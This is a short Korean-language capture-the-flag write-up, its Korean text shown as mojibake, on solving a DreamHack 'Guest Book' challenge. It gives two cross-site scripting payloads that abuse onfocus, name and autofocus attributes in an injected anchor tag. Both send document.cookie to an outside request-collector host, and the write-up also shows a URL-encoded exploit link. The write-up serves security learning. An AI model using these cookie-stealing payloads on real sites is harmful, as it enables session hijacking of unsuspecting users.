๋ฐฉ๋ฒ 1. name๊ณผ onfocus ์ฌ์ฉ
[dreamhack](#' name='foo' onfocus='location.href=`https://bqfyoyg.request.dreamhack.games/cookie=`+document.cookie')
์ ํ ์คํธ๋ฅผ URL Encoding ํ๋ค.
%5Bdreamhack%5D%28%23%27%20name%3D%27foo%27%20onfocus%3D%27location%2Ehref%3D%60https%3A%2F%2Fbqfyoyg%2Erequest%2Edreamhack%2Egames%2Fcookie%3D%60%2Bdocument%2Ecookie%27%29
์ธ์ฝ๋ฉ ๋ ๊ฐ์ content ํ๋ผ๋ฏธํฐ ๊ฐ์ผ๋ก ๊ฑด๋ค์ฃผ๋๋ฐ URL ๋ค์ #foo๋ฅผ ํฌํจํ๋ ๊ฒ์ด ํต์ฌ
http://host3.dreamhack.games:13138/GuestBook.php?content={์ธ์ฝ๋ฉ๋ ๋ด์ฉ}#foo
์ ์ฃผ์๋ก ๋ค์ด๊ฐ๊ฒ ๋๋ฉด a ํ๊ทธ๊ฐ ์๋์ผ๋ก focus ๋๋ฉด์ ๊ณต๊ฒฉ์์ ์น ํ
์ผ๋ก request๋ฅผ ํ๊ฒ ๋๋ค.
๋ฐฉ๋ฒ 2. autofocus์ onfocus ์ฌ์ฉ
[dreamhack](#' autofocus onfocus='location.href=`https://bqfyoyg.request.dreamhack.games/cookie=`+document.cookie')
์ด๊ฑด ๋ค๋ฅธ ํ์ด ๋ฌธ์ ์์ ์ฐพ์ ๋ฐฉ๋ฒ์ด๋ค. URL ๋ค์ fragment๋ฅผ ์์ฑํ์ง ์์๋ (๋ฐฉ๋ฒ 1)ํ๊ณ ๊ฒฐ๊ณผ๊ฐ ๊ฐ๋ค.
Reference
https://security.stackexchange.com/questions/168909/xss-inside-anchor-tag-a-without-user-interaction
XSS inside anchor tag (<a>) without user interaction?
Is it possible to inject a payload inside <a> tag such that the script runs without user interaction? The injection is inside the href attribute. I can inject onmouseover or onclick attribut...
security.stackexchange.com
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - out_of_boundary ํ์ด (0) | 2023.09.08 |
---|---|
DreamHack - Guest book v0.2 ํ์ด (0) | 2023.09.07 |
DreamHack - CTF์ ์ ์ฉํ ๋๊ตฌ ๋ชจ์(๋๋ฆผํต ํด์ฆ) (0) | 2023.09.07 |
DreamHack - blind-command ํ์ด (0) | 2023.09.07 |
DreamHack - Robot Only ํ์ด (0) | 2023.05.24 |